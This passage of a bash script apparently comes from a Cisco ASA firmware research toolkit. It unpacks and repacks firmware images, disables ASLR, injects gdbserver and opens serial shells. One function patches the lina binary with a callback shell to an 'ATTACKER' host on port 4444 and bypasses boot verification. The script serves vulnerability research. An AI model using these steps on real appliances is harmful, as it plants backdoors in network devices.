ROOTFS=rootfs.img 114 | if [ -f ${ROOTFS} ]; then 115 | log "Firmware uses regular rootfs/ dir" 116 | elif [ -f "rootfs.img.gz" ]; then 117 | ROOTFS=rootfs.img.gz 118 | log "Firmware uses regular rootfs.img.gz file" 119 | else 120 | for EXTRACTFILE in $(find * -maxdepth 0 -type f); 121 | do 122 | TMP=`file ${EXTRACTFILE}` 123 | if [[ $TMP == *"ASCII cpio archive"* ]]; 124 | then 125 | ROOTFS=${EXTRACTFILE} 126 | log "Firmware uses ${ROOTFS} rootfs file" 127 | break 128 | fi 129 | done 130 | fi 131 | } 132 | 133 | # extract_bin() 134 | # 135 | # Arguments: 136 | # None 137 | # 138 | # Required Globals: 139 | # FWFILE 140 | # 141 | # Notes: 142 | # Expects current folder being the dirname of $FWFILE 143 | # 144 | # Description: 145 | # Extracts the contents of a firmware .bin file using binwalk. The files are 146 | # written to a directory called _.extracted 147 | # 148 | # Can be called independent of other bin functions. 149 | ## 150 | extract_bin() 151 | { 152 | log "extract_bin: $FWFILE" 153 | if [ -z ${DEBUG} ]; then 154 | ${BINWALK} -e ${FWFILE} > /dev/null 155 | else 156 | ${BINWALK} -e ${FWFILE} 157 | fi 158 | if [ $? != 0 ]; 159 | then 160 | log "ERROR: Binwalk failed. Exiting" 161 | exit 1 162 | fi 163 | FWFOLDER=$(pwd)/_${FWFILE}.extracted 164 | if [ ! -d "${FWFOLDER}" ]; then 165 | log "ERROR: binwalk extraction failed. Didn't find ${FWFOLDER}" 166 | return 167 | fi 168 | cd ${FWFOLDER} 169 | # better safe than sorry. If we can't go in, when we go out later 170 | # we will go back in the arborescence and do bad stuff, such as delete 171 | # files, etc... 172 | if [ $? != 0 ]; 173 | then 174 | log "ERROR: Couldn't enter ${FWFOLDER} for some reason. Exiting" 175 | exit 1 176 | fi 177 | log "Extracted firmware to ${FWFOLDER}" 178 | 179 | determine_rootfs_name 180 | # we create a directory to avoid extracting everything 181 | # in the middle of other files 182 | if [ ! -d "rootfs" ]; then 183 | mkdir rootfs 184 | fi 185 | cd rootfs 186 | log "Extracting ${FWFOLDER}/rootfs/${ROOTFS} into $(pwd)" 187 | # We really need --no-absolute-filenames as otherwise we may corrupt 188 | # our own filesystem... 189 | ${CPIO} -id --no-absolute-filenames > /dev/null 2>&1 < ../${ROOTFS} 190 | LINA=${FWFOLDER}/rootfs/asa/bin/lina 191 | LINA_MONITOR=${FWFOLDER}/rootfs/asa/bin/lina_monitor 192 | if [[ ! -z $LINABINDIR && -d $LINABINDIR ]] 193 | then 194 | mkdir ${LINABINDIR}/${FWFILE} 195 | cp ${LINA} ${LINABINDIR}/${FWFILE}/ 196 | cp ${LINA_MONITOR} ${LINABINDIR}/${FWFILE}/ 197 | fi 198 | cd .. # leave rootfs 199 | cd .. # leave ${FWFOLDER} 200 | 201 | # we need space here... 202 | if [[ "$KEEP_ROOTFS" == "YES" ]] 203 | then 204 | log "Keeping rootfs" 205 | # we only keep the rootfs directory which is not a regular file 206 | for F in $(find ${FWFOLDER} -maxdepth 1 -type f); 207 | do 208 | log "Deleting \"${F}\"" 209 | rm -f "${F}" 210 | done 211 | fi 212 | if [[ "$DELETE_EXTRACTED" == "YES" ]] 213 | then 214 | log "Deleting extracted files" 215 | # We only delete folders of the following format _*.extracted 216 | # The reason we do that is we don't want to rm -Rf arbitrary 217 | # folders 218 | log "Deleting \"${FWFOLDER}\"" 219 | rm -Rf ${FWFOLDER} 220 | fi 221 | if [[ "$DELETE_BIN" == "YES" ]] 222 | then 223 | log "Deleting original firmware bin" 224 | log "Deleting \"${FWFILE}\"" 225 | rm ${FWFILE} 226 | fi 227 | } 228 | 229 | # unpack_repack_bin() 230 | # 231 | # Arguments: 232 | # None 233 | # 234 | # Required Globals: 235 | # FWFILE 236 | # 237 | # Notes: 238 | # Expects current folder being the dirname of $FWFILE 239 | # 240 | # Description: 241 | # Primary workhorse function. Will attempt to unpack, modify, and repack as 242 | # necessary. 243 | ## 244 | unpack_repack_bin() 245 | { 246 | if [[ "${UNPACK_ONLY}" == "YES" ]] 247 | then 248 | extract_bin 249 | else 250 | # root is needed so the repacked version has the right uid/gid 251 | if [ "$(whoami)" != "root" ]; then 252 | log "You need to be root so repacked version has the right uid/gid" 253 | log "NOTE: Use sudo -E if you sourced env.sh" 254 | exit 1 255 | fi 256 | unpack_bin 257 | 258 | # unpack_bin creates "work/" directory and extracts files into it 259 | modify_bin "work/" 260 | repack_bin "work/" 261 | fi 262 | } 263 | 264 | # unpack_bin() 265 | # 266 | # Arguments: 267 | # None 268 | # 269 | # Required Globals: 270 | # FWFILE 271 | # 272 | # Notes: 273 | # Expects current folder being the dirname of $FWFILE 274 | # 275 | # Description: 276 | # Extracts a .bin using our asafw bin.py script. Creates a 'work/' directory 277 | # which contains the extracted contenst of the rootfs.img 278 | unpack_bin() 279 | { 280 | log "unpack_bin: $FWFILE" 281 | INFILE=$(pwd)/${FWFILE} 282 | # get filename without extension and extension 283 | OUTFILE=$(basename "$FWFILE") 284 | EXTFILE=${FWFILE##*.} 285 | 286 | if [ ! -z ${FWFILE_WITH_ASA_TO_INJECT} ] 287 | then 288 | OUTFILE_PREFIX=${FWFILE_WITH_ASA_TO_INJECT}-in-${OUTFILE%.*} 289 | else 290 | OUTFILE_PREFIX=${OUTFILE%.*} 291 | fi 292 | OUTFILE_SUFFIX= 293 | if [[ "${SIMPLE_NAME}" != "YES" ]]; then 294 | # the more complex filename we could get is something like 295 | # "asaXXX-smp-k8-in-asa921-smp-k8-noaslr-debugshell-hooked-gdbserver.bin" 296 | if [[ "${DISABLE_ASLR}" == "YES" ]] 297 | then 298 | OUTFILE_SUFFIX=$OUTFILE_SUFFIX-noaslr 299 | fi 300 | if [[ "${DEBUGSHELL}" == "YES" ]] 301 | then 302 | OUTFILE_SUFFIX=$OUTFILE_SUFFIX-debugshell 303 | fi 304 | if [[ ! -z "${LINAHOOK}" ]] 305 | then 306 | OUTFILE_SUFFIX=$OUTFILE_SUFFIX-hooked 307 | fi 308 | fi 309 | if [[ "${OUTFILE_SUFFIX}" == "" ]] 310 | then 311 | OUTFILE_SUFFIX=-repacked 312 | fi 313 | if [[ "${ROOT}" == "YES" ]] 314 | then 315 | OUTFILE_SUFFIX=$OUTFILE_SUFFIX-rooted 316 | fi 317 | if [[ "${ENABLE_GDB}" == "YES" ]] 318 | then 319 | OUTFILE_SUFFIX=$OUTFILE_SUFFIX-gdbserver 320 | fi 321 | OUTFILE_SUFFIX=$OUTFILE_SUFFIX.${EXTFILE} 322 | OUTFILE=${OUTDIR}/${OUTFILE_PREFIX}${OUTFILE_SUFFIX} 323 | 324 | # get filename without extension 325 | BASEFWFILE=$(basename "$INFILE") 326 | FOLDERFWFILE=$(dirname "$INFILE") 327 | BASEFWFILE_NOEXT=${BASEFWFILE%.*} 328 | GZIP_ORIGINAL=${FOLDERFWFILE}/${BASEFWFILE_NOEXT}-initrd-original.gz 329 | CPIO_ORIGINAL=${FOLDERFWFILE}/${BASEFWFILE_NOEXT}-initrd-original.cpio 330 | # we should not really care about the name of the gzip. However, if we want to re-unpack 331 | # the file that we are repacking, we need that it uses the "rootfs.img" as this is what 332 | # we use to locate the rootfs.img inside the .bin in bin.py 333 | #GZIP_MODIFIED=${FOLDERFWFILE}/${BASEFWFILE_NOEXT}-initrd-modified.gz 334 | # Actually looks like this is not even enough. Well, we should not need to do that several times 335 | # anyway. We can always come back to the original one to do all in once :) 336 | GZIP_MODIFIED=${FOLDERFWFILE}/rootfs.img.gz 337 | VMLINUZ_ORIGINAL=${FOLDERFWFILE}/${BASEFWFILE_NOEXT}-vmlinuz 338 | 339 | ${FWTOOL} -u -f "$INFILE" 340 | if [ $? != 0 ]; 341 | then 342 | log "ERROR: ${FWTOOL} -u -f "$INFILE" failed" 343 | exit 1 344 | fi 345 | ${GUNZIP} -c "$GZIP_ORIGINAL" > "$CPIO_ORIGINAL" 346 | if [ $? != 0 ]; 347 | then 348 | log "ERROR: ${GUNZIP} -c $GZIP_ORIGINAL > $CPIO_ORIGINAL failed" 349 | exit 1 350 | fi 351 | rm -Rf work 352 | mkdir work 353 | cd work 354 | # We really need --no-absolute-filenames as otherwise we may corrupt 355 | # our own filesystem... 356 | ${CPIO} -id --no-absolute-filenames > /dev/null 2>&1 < "$CPIO_ORIGINAL" 357 | cd .. # leave work 358 | } 359 | 360 | # free_space() 361 | # 362 | # Arguments: 363 | # None 364 | # 365 | # Notes: 366 | # Expects $PWD to be an extracted rootfs directory 367 | # 368 | # Description: 369 | # Attempts to free room in the firmware by rm'ing unused large files. This is 370 | # done to accomodate patches or new files that might otherwise make the 371 | # rootfs.img.gz file larger than the original, which would prevent injection. 372 | ## 373 | free_space() 374 | { 375 | # free some space 376 | if [[ "$FREE_SPACE" == "YES" ]] 377 | then 378 | log "Freeing space in extracted .bin" 379 | rm -Rf usr/test/* 380 | if [[ -e 'usr/bin/qemu-system-x86_64' ]]; then 381 | rm usr/bin/qemu-system-x86_64 # 5.2 MB 382 | fi 383 | if [[ -e 'asa/html/dd/fdd.swf' ]]; then 384 | rm asa/html/dd/fdd.swf # 1.3 MB 385 | fi 386 | fi 387 | } 388 | 389 | # disable_aslr() 390 | # 391 | # Arguments: 392 | # None 393 | # 394 | # Notes: 395 | # Expects $PWD to be an extracted rootfs directory 396 | # 397 | # Description: 398 | # Configures the ASA kernel to disable ASLR. Useful for debugging 64-bit 399 | # systems. 400 | ## 401 | disable_aslr() 402 | { 403 | # disable ASLR 404 | # /etc/sysctl.conf -> /etc/sysctl.conf.props so we follow symlink otherwise it will modify our host one :/ 405 | if [[ "$DISABLE_ASLR" == "YES" ]] 406 | then 407 | log "DISABLE ASLR" 408 | # we can't just add the following line 409 | #echo "kernel.randomize_va_space = 0" >> etc/sysctl.conf.procps 410 | # because it looks like rcS.common overrides our value later in the boot process 411 | # so we just make the modification in rcS.common :) 412 | 413 | # deal with case when no randomize_va_space in asa/scripts/rcS.common, such as asav9101.qcow2 414 | VASPACE=$(grep randomize_va_space "asa/scripts/rcS.common") 415 | DISABLE_ASLR_ARGS= 416 | if [ -n "$VASPACE" ] 417 | then 418 | sed -i 's/echo 2 > \/proc\/sys\/kernel\/randomize_va_space/echo 0 > \/proc\/sys\/kernel\/randomize_va_space/' asa/scripts/rcS.common 419 | else 420 | # use kernel parameter 'norandmaps' instead 421 | DISABLE_ASLR_ARGS=--disable-aslr 422 | fi 423 | fi 424 | } 425 | 426 | # enable_gdb() 427 | # 428 | # Arguments: 429 | # None 430 | # 431 | # Required Globals: 432 | # FWFILE - name of firmware bieng modified 433 | # FIRMWAREDIR - directory holding firmware images 434 | # 435 | # Notes: 436 | # Expects $PWD to be an extracted rootfs directory 437 | # 438 | # Description: 439 | # Enables gdb support in the current rootfs 440 | ## 441 | enable_gdb() 442 | { 443 | # enable gdb at boot 444 | if [[ "$ENABLE_GDB" == "YES" ]] 445 | then 446 | log "ENABLE GDB" 447 | if [[ "$FWFILE" == *"asa803"* ]] 448 | then 449 | log "Using asa803 ASA gdb patching method and patching serial port in lina_monitor" 450 | sed -i 's/\(\/asa\/bin\/lina_monitor\)/\1 -g -s \/dev\/ttyS0 -d/' etc/init.d/rcS 451 | # XXX - This assumption about the ${FIRMWAREDIR} contents is 452 | # error prone. If we require it, we should document it. We could 453 | # consider include thihs _asa803/lina_monitor_patched file in asafw 454 | cp ${FIRMWAREDIR}/_asa803/lina_monitor_patched $(pwd)/asa/bin/lina_monitor 455 | elif [[ "$FWFILE" == *"asa804"* ]] 456 | then 457 | # XXX - untested - do we need to patch lina_monitor too? 458 | log "Using asa804 ASA gdb patching method" 459 | sed -i 's/\(\/asa\/bin\/lina_monitor\)/\1 -g -s \/dev\/ttyS0 -d/' asa/scripts/rcS 460 | else 461 | log "Using recent ASA gdb patching method" 462 | sed -i 's/#\(.*\)ttyUSB0\(.*\)/\1ttyS0\2/' asa/scripts/rcS 463 | # Don't output anything on the tty, as this breaks gdb with some Linux kernel setups 464 | sed -i 's/ttyS0::once:\/tmp\/run_cmd/tty0::once:\/tmp\/run_cmd/' etc/inittab 465 | fi 466 | fi 467 | } 468 | 469 | # disable_gdb() 470 | # 471 | # Arguments: 472 | # None 473 | # 474 | # Required Globals: 475 | # 476 | # Notes: 477 | # Expects $PWD to be an extracted rootfs directory 478 | # 479 | # Description: 480 | # Disables GDB in the current rootfs. 481 | ## 482 | disable_gdb() 483 | { 484 | # disable gdb at boot 485 | if [[ "$DISABLE_GDB" == "YES" ]] 486 | then 487 | log "DISABLE GDB" 488 | sed -i 's/echo\(.*\)ttyUSB0\(.*\)/#echo\1ttyS0\2/' asa/scripts/rcS 489 | fi 490 | } 491 | 492 | # fix_gns3_interface() 493 | # 494 | # Arguments: 495 | # None 496 | # 497 | # Required Globals: 498 | # None 499 | # 500 | # Notes: 501 | # Expects $PWD to be an extracted rootfs directory 502 | # 503 | # Description: 504 | # XXX - Think this was going to be for fixing interfaces for emulated 32-bit 505 | # firmwares. We can probably remove it 506 | ## 507 | fix_gns3_interface() 508 | { 509 | # fix GNS3 network interface 510 | if [[ "$FIX_GNS3_INTERFACE" == "YES" ]] 511 | then 512 | log "FIXING GNS3 INTERFACE" 513 | log "ERROR: Not implemented yet" 514 | #sed -i 's/echo\(.*\)ttyUSB0\(.*\)/#echo\1ttyS0\2/' asa/scripts/rcS 515 | fi 516 | } 517 | 518 | # inject_gdb() 519 | # 520 | # Arguments: 521 | # None 522 | # 523 | # Required Globals: 524 | # FWFILE - name of current firmware being worked on 525 | # FIRMWAREDIR - directory holding collection of firmware 526 | # 527 | # Notes: 528 | # Expects $PWD to be an extracted rootfs directory 529 | # XXX - Makes undocumented assumptions about FIRMWAREDIR layout that will 530 | # sometimes break. We should include those gdb files in asafw repo and 531 | # copy them from somewhere static 532 | # 533 | # Description: 534 | # Injects a gdbserver binary from a separate firmware in FIRMWAREDIR into the 535 | # firmware being worked on. This is relative only to 64-bit ASA images or old 536 | # 32-bit ASA devices. 537 | ## 538 | inject_gdb() 539 | { 540 | # inject gdbserver from other firmware 541 | if [[ "$INJECT_GDB" == "YES" ]] 542 | then 543 | if [[ -e 'usr/bin/gdbserver' ]]; then 544 | log "WARNING: This firmware already has a gdbserver." 545 | log "WARNING: Injecting another gdbserver might cause issues." 546 | log "WARNING: Injecting is only relevant to 64-bit ASA or really old 32-bit ASA devices" 547 | log "WARNING: Are you sure? (ctrl-c if not. enter if yes)" 548 | read CMD 549 | fi 550 | log "INJECT OTHER GDB" 551 | if [[ "$FWFILE" == *"asa803"* ]]; then 552 | FIRMWARE_WITH_GDB="asa924-k8.bin" 553 | else 554 | FIRMWARE_WITH_GDB="asa931-smp-k8.bin" 555 | fi 556 | log "Using gdbserver from ${FIRMWARE_WITH_GDB}" 557 | if [ ! -d "${FIRMWAREDIR}/_${FIRMWARE_WITH_GDB}.extracted" ]; then 558 | log "Didn't find ${FIRMWAREDIR}/_${FIRMWARE_WITH_GDB}.extracted" 559 | log "Need to binwalk ${FIRMWARE_WITH_GDB} to allow file stealing" 560 | if [ ! -e "${FIRMWAREDIR}/${FIRMWARE_WITH_GDB}" ]; then 561 | log "ERROR: Can't find ${FIRMWAREDIR}/${FIRMWARE_WITH_GDB} so can't binwalk it" 562 | exit 1 563 | fi 564 | LASTDIR=$(pwd) 565 | cd ${FIRMWAREDIR} 566 | ${BINWALK} -e ${FIRMWARE_WITH_GDB} 567 | cd ${LASTDIR} 568 | fi 569 | if [[ "$FWFILE" == *"asa803"* ]]; then 570 | # On ASA803, the gdbserver is not able to "info proc cmdline" or "info proc mappings" 571 | # The gdbserver from ASA924 is better in that we can at least "info proc cmdline".... 572 | cp ${FIRMWAREDIR}/_${FIRMWARE_WITH_GDB}.extracted/rootfs/usr/bin/gdbserver bin/ 573 | else 574 | cp ${FIRMWAREDIR}/_${FIRMWARE_WITH_GDB}.extracted/rootfs/usr/bin/gdbserver usr/bin/ 575 | cp ${FIRMWAREDIR}/_${FIRMWARE_WITH_GDB}.extracted/rootfs/lib64/libthread_db-1.0.so lib64/ 576 | # we should copy the symlink instead of copying the file but does the job for now 577 | cp ${FIRMWAREDIR}/_${FIRMWARE_WITH_GDB}.extracted/rootfs/lib64/libthread_db.so.1 lib64/ 578 | fi 579 | fi 580 | } 581 | 582 | # inject_asa_folder() 583 | # 584 | # Arguments: 585 | # None 586 | # 587 | # Required Globals: 588 | # FWFILE_WITH_ASA_TO_INJECT - custom firmware to take /asa from 589 | # FWFILE - name of current firmware being worked on to inject new /asa (needs to be asa921-*.bin) 590 | # FIRMWAREDIR - directory holding collection of firmware 591 | # 592 | # Notes: 593 | # Expects $PWD to be an extracted rootfs directory 594 | # 595 | # Description: 596 | # Injects an /asa/ folder from a separate firmware in FIRMWAREDIR into the 597 | # firmware being worked on. 598 | # 599 | # Firmware older than 921 have their gdb broken so we could not debug them :( 600 | # Workaround is to use the asa921-k8.bin or asa921-smp-k8.bin as a container and inject the asa/ 601 | # folder from the older firmware in order to be able to debug it 602 | ## 603 | inject_asa_folder() 604 | { 605 | if [ ! -z ${FWFILE_WITH_ASA_TO_INJECT} ] 606 | then 607 | log "INJECT OTHER ASA FOLDER" 608 | if [[ "$FWFILE" == *"asa921"* ]]; then 609 | log "Using ${FWFILE} as container to inject /asa from ${FWFILE_WITH_ASA_TO_INJECT}" 610 | else 611 | log "ERROR: ${FWFILE} is not supported as container to inject /asa from ${FWFILE_WITH_ASA_TO_INJECT}. You need either asa921-k8.bin or asa921-smp-k8.bin" 612 | exit 1 613 | fi 614 | log "Checking ${FWFILE_WITH_ASA_TO_INJECT}" 615 | if [ ! -d "${FIRMWAREDIR}/_${FWFILE_WITH_ASA_TO_INJECT}.extracted" ]; then 616 | log "Didn't find ${FIRMWAREDIR}/_${FWFILE_WITH_ASA_TO_INJECT}.extracted" 617 | log "Need to binwalk ${FWFILE_WITH_ASA_TO_INJECT} to allow file stealing" 618 | if [ ! -e "${FIRMWAREDIR}/${FWFILE_WITH_ASA_TO_INJECT}" ]; then 619 | log "ERROR: Can't find ${FIRMWAREDIR}/${FWFILE_WITH_ASA_TO_INJECT} so can't binwalk it" 620 | exit 1 621 | fi 622 | LASTDIR=$(pwd) 623 | cd ${FIRMWAREDIR} 624 | ${BINWALK} -e ${FWFILE_WITH_ASA_TO_INJECT} 625 | cd ${LASTDIR} 626 | fi 627 | log "Using /asa from ${FWFILE_WITH_ASA_TO_INJECT}" 628 | rm -Rf ./asa 629 | CMD="cp -Rf ${FIRMWAREDIR}/_${FWFILE_WITH_ASA_TO_INJECT}.extracted/rootfs/asa ." 630 | ${CMD} 631 | if [ $? != 0 ]; 632 | then 633 | log "ERROR: '${CMD}' failed" 634 | exit 1 635 | fi 636 | fi 637 | } 638 | 639 | # replace_lina_monitor() 640 | # 641 | # Arguments: 642 | # None 643 | # 644 | # Required Globals: 645 | # 646 | # Notes: 647 | # Expects $PWD to be an extracted rootfs directory 648 | ## 649 | replace_lina_monitor() 650 | { 651 | if [[ ! -z "${REPLACE_LINAMONITOR}" ]] 652 | then 653 | log "REPLACING LINA_MONITOR" 654 | cp ${REPLACE_LINAMONITOR} asa/bin/lina_monitor 655 | fi 656 | } 657 | 658 | # inject_debugshell() 659 | # 660 | # Arguments: 661 | # None 662 | # 663 | # Required Globals: 664 | # 665 | # Notes: 666 | # Expects $PWD to be an extracted rootfs directory 667 | ## 668 | inject_debugshell() 669 | { 670 | # On ASAv 64-bit, patching in a debugshell to lina has the implicit requirement 671 | # of patching lina_monitor to bypass boot verification of lina. 672 | if [[ "$DEBUGSHELL" == "YES" ]] 673 | then 674 | FWFILE_WITH_ASA=${FWFILE} 675 | if [ ! -z ${FWFILE_WITH_ASA_TO_INJECT} ] 676 | then 677 | FWFILE_WITH_ASA=${FWFILE_WITH_ASA_TO_INJECT} 678 | log "debug shell: overriding firmware with ${FWFILE_WITH_ASA} to patch lina correctly" 679 | fi 680 | 681 | ADDITIONAL_ARGS="" 682 | if [[ ! -z "${LINAHOOK}" ]] 683 | then 684 | ADDITIONAL_ARGS="--hook ${LINAHOOK}" 685 | fi 686 | CBPORT="4444" 687 | if [[ "$FWFILE_WITH_ASA" == *"asav"* ]] 688 | then 689 | log "debug shell: using 64-bit ASAv firmware" 690 | CBHOST=${ATTACKER_GNS3} 691 | else 692 | log "debug shell: using 32-bit / 64-bit firmware for real hardware" 693 | CBHOST=${ATTACKER_ASA} 694 | fi 695 | log "Adding debug shell for $CBHOST:$CBPORT" 696 | # If it is a 32-bit firmware, it should not contain the lib64 path so 697 | # it is safe to search in this order 698 | LIBC=$(find ${PWD} -regex ".*/lib64/libc.so.6") 699 | if [[ "$LIBC" == "" ]] 700 | then 701 | LIBC=$(find ${PWD} -regex ".*/lib/libc.so.6") 702 | fi 703 | # NOTE: we pass as many arguments as possible to LINA_LINUXSHELL and it is up to that script to know 704 | # if libc is used for malloc()/etc. and if lina_monitor needs to be patched. 705 | CMD="${LINA_LINUXSHELL} -b ${FWFILE_WITH_ASA} -F ${PWD}/asa/bin/lina_monitor -O ${PWD}/asa/bin/lina_monitor -f ${PWD}/asa/bin/lina -o ${PWD}/asa/bin/lina -c $CBHOST -p $CBPORT -d ${ASADBG_DB} ${ADDITIONAL_ARGS} --libc-input ${LIBC} --libc-output ${LIBC}" 706 | 707 | log "Using command: '${CMD}'" 708 | # XXX - fix fact that we use -b to specify the bin_name but it would not work if the name is not one of the original Cisco ones (such as asa924-k8.bin) 709 | ${CMD} 710 | 711 | if [ $? != 0 ]; 712 | then 713 | log "ERROR: '${CMD}' failed" 714 | exit 1 715 | fi 716 | fi 717 | } 718 | 719 | # setup_serialshell() 720 | # 721 | # Arguments: 722 | # None 723 | # 724 | # Required Globals: 725 | # 726 | # Notes: 727 | # Expects $PWD to be an extracted rootfs directory 728 | # 729 | # Description 730 | # This setups a Linux shell on 2nd serial. E.g. add this to qemu options in GNS3: ASAv instance > Configure 731 | # then Advanced settings > Additional settings: "-serial telnet:127.0.0.1:15002,server,nowait" 732 | # 733 | # Tested with asav962-7.qcow2 734 | ## 735 | setup_serialshell() 736 | { 737 | if [[ "$SERIALSHELL" == "YES" ]] 738 | then 739 | 740 | FWFILE_WITH_ASA=${FWFILE} 741 | if [ ! -z ${FWFILE_WITH_ASA_TO_INJECT} ] 742 | then 743 | FWFILE_WITH_ASA=${FWFILE_WITH_ASA_TO_INJECT} 744 | log "serial shell: overriding firmware with ${FWFILE_WITH_ASA} to patch rcS correctly" 745 | fi 746 | 747 | if [[ "$FWFILE_WITH_ASA" == *"asav"* ]] 748 | then 749 | sed -i '/# regular startup/i # serial shell specifics' asa/scripts/rcS 750 | 751 | # we redirect stdin/out/err to the 2nd serial 752 | # bashrc does not seem to be loaded automatically so we force it to load with --rcfile 753 | log "Exposing a Linux shell on 2nd serial (GNS3 only?)" 754 | sed -i '/# regular startup/i \/bin\/bash --rcfile \/root\/bashrc < \/dev\/ttyS1 > \/dev\/ttyS1 2> \/dev\/ttyS1 &' asa/scripts/rcS 755 | 756 | # Not working properly yet so needs to be executed manually 757 | #log "Starting lina at boot" 758 | #sed -i 's/echo "$CGEXEC \/asa\/bin\/lina_monitor.*"/ echo "\/asa\/scripts\/lina_start.sh"/' asa/scripts/rcS 759 | log "Not starting lina at boot" 760 | sed -i 's/echo "$CGEXEC \/asa\/bin\/lina_monitor.*"/echo ""/' asa/scripts/rcS 761 | 762 | # Avoids reaching the end of rcS script which triggers a reboot 763 | #sed -i '/# Explicitly call reboot here for consistency across target rcS files/a echo "while true; do echo in while true loop; sleep 1; done" >> \/tmp\/run_cmd' asa/scripts/rcS 764 | sed -i '/# Explicitly call reboot here for consistency across target rcS files/a echo "read -p \\"[asafw] Press enter to reboot\\"" >> \/tmp\/run_cmd' asa/scripts/rcS 765 | else 766 | log "Not starting lina at boot" 767 | sed -i 's/echo "$CGEXEC \/asa\/bin\/lina_monitor.*"/echo "echo \\"[asafw run_cmd] Not starting lina at boot\\""/' asa/scripts/rcS 768 | 769 | log "Skipping setting baudrate on /dev/ttyUSB0 in serial_init" 770 | sed -i 's/ if \[ -e \/dev\/ttyUSB0 \]; then stty -F \/dev\/ttyUSB0 115200; fi/ echo "[asafw serial_init] Skipping setting baudrate on \/dev\/ttyUSB0"/' asa/scripts/serial_init 771 | 772 | # XXX - does not work yet - spawning the shell after resets that :( so may need to be done manually anyway 773 | #log "Adding sourcing bashrc before spawning shell" 774 | #sed -i '/echo "\/sbin\/reboot -d 3"/i echo "[asafw rcS] Sourcing bashrc"' asa/scripts/rcS 775 | #sed -i '/echo "\/sbin\/reboot -d 3"/i source /root/bashrc' asa/scripts/rcS 776 | 777 | log "Spawning shell at the end of rcS" 778 | sed -i '/echo "\/sbin\/reboot -d 3"/i echo "[asafw rcS] End of rcS reached, spawning a shell instead"' asa/scripts/rcS 779 | sed -i '/echo "\/sbin\/reboot -d 3"/i \/bin\/sh < \/dev\/ttyS0 > \/dev\/ttyS0 2> \/dev\/ttyS0 &' asa/scripts/rcS 780 | 781 | log "Not rebooting in /tmp/run_cmd" 782 | sed -i 's/echo "\/sbin\/reboot -d 3"/echo "echo \\"[asafw run_cmd] Do nothing instead of rebooting\\""/' asa/scripts/rcS 783 | fi 784 | 785 | declare -a scripts_list=("lstart.sh" "ldebug.sh" "lattach.sh" "lkill.sh" "lclean.sh" "ltrap.sh") 786 | for file in "${scripts_list[@]}" 787 | do 788 | log "Copying ${file} script" 789 | CMD="cp ${TOOLDIR}/binfs/${file} asa/scripts/${file}" 790 | ${CMD} 791 | if [ $? != 0 ]; 792 | then 793 | log "ERROR: '${CMD}' failed" 794 | exit 1 795 | fi 796 | CMD="chmod +x asa/scripts/${file}" 797 | ${CMD} 798 | if [ $? != 0 ]; 799 | then 800 | log "ERROR: '${CMD}' failed" 801 | exit 1 802 | fi 803 | done 804 | 805 | file="bashrc" 806 | log "Copying ${file} script" 807 | CMD="cp ${TOOLDIR}/binfs/${file} root/${file}" 808 | ${CMD} 809 | if [ $? != 0 ]; 810 | then 811 | log "ERROR: '${CMD}' failed" 812 | exit 1 813 | fi 814 | CMD="chmod +x root/${file}" 815 | ${CMD} 816 | if [ $? != 0 ]; 817 | then 818 | log "ERROR: '${CMD}' failed" 819 | exit 1 820 | fi 821 | fi 822 | } 823 | 824 | # custom() 825 | # 826 | # Arguments: 827 | # None 828 | # 829 | # Required Globals: 830 | # 831 | # Notes: 832 | # Expects $PWD to be an extracted rootfs directory 833 | # 834 | # Description 835 | # This function is for testing or doing whatever you want if you want to test 836 | # making modifications, etc. 837 | ## 838 | custom() 839 | { 840 | # custom: can be used for testing purpose before we add something useful as a real command line option 841 | if [[ "$CUSTOM" == "YES" ]] 842 | then 843 | log "DOING CUSTOM STUFF: fill it yourself :)" 844 | # ... 845 | fi 846 | } 847 | 848 | 849 | # cleanup() 850 | # 851 | # Arguments: 852 | # None 853 | # 854 | # Referenced Globals: 855 | # GZIP_ORIGINAL - set only by unpack_bin 856 | # CPIO_ORIGINAL - set only by unpack_bin 857 | # GZIP_MODIFIED - set by unpack_bin and repack_bin 858 | # VMLINUZ_ORIGINAL - set only by unpack_bin 859 | # 860 | # Notes: 861 | # Expects $PWD to be an extracted rootfs directory 862 | # 863 | # Description 864 | # This function deletes unneeded files generated by various tools. It is okay 865 | # if some of the reference globals having been set 866 | ## 867 | cleanup() 868 | { 869 | # cleanup 870 | if [[ "$NO_CLEANUP" == "NO" ]] 871 | then 872 | log "CLEANUP" 873 | dbglog "Removing $GZIP_ORIGINAL $CPIO_ORIGINAL $GZIP_MODIFIED $VMLINUZ_ORIGINAL" 874 | rm $GZIP_ORIGINAL $CPIO_ORIGINAL $GZIP_MODIFIED $VMLINUZ_ORIGINAL 875 | fi 876 | } 877 | 878 | # modify_bin() 879 | # 880 | # Arguments: 881 | # $1 (required) - working directory 882 | # 883 | # Required Globals: 884 | # 885 | # Notes: 886 | # Modify extracted files (typically the files from the ramdisk) 887 | # in preparation for later repacking. 888 | # 889 | # Most functionality is influenced by command-line arguments. 890 | ## 891 | modify_bin() 892 | { 893 | log "modify_bin: $FWFILE" 894 | 895 | # Enter rootfs folder told to us 896 | dbglog "Entering ${1}" 897 | OLDDIR=${PWD} 898 | cd ${1} 899 | 900 | inject_asa_folder # early so all other modifications are done on the right /asa files 901 | disable_aslr 902 | enable_gdb 903 | disable_gdb 904 | fix_gns3_interface 905 | free_space 906 | inject_gdb 907 | replace_lina_monitor 908 | inject_debugshell 909 | setup_serialshell 910 | custom 911 | 912 | # Return to original folder 913 | dbglog "Returning to ${OLDDIR}" 914 | cd ${OLDDIR} 915 | } 916 | 917 | # repack_bin() 918 | # 919 | # Arguments: 920 | # $1 (required) - working directory 921 | # $2 (optional) - output filename of repacked bin we'll create 922 | # $3 (optional) - original firmware file from which this file was taken 923 | # 924 | # Globals Required: 925 | # CPIO 926 | # 927 | # Notes: 928 | # If $2 is specified, then $3 must also be specified. 929 | # 930 | # TODO: 931 | # - It would be nice if we just derive $3 from $1 932 | # - Instead of inferring GZIP_MODIFIED, OUTFILE and FWFILE based on arg count, 933 | # we could just have them passed. 934 | ## 935 | repack_bin() 936 | { 937 | # Enter working directory. Usually either work/ or /rootfs/ 938 | OLDDIR=${PWD} 939 | dbglog "Entering ${1}" 940 | cd $1 941 | 942 | if [[ $# > 1 ]]; then 943 | log "beep" 944 | # If we get additional args it means we are repacking an extracted 945 | # directory and unpack_bin wasn't called. That means we have to set 946 | # these ourself 947 | OUTFILE="${2}" 948 | FWFILE="${3}" 949 | GZIP_MODIFIED="${PWD}/../rootfs.img.gz" 950 | fi 951 | 952 | log "repack_bin: $FWFILE" 953 | find . | ${CPIO} -o -H newc 2>/dev/null | gzip -9 > "$GZIP_MODIFIED" 954 | 955 | 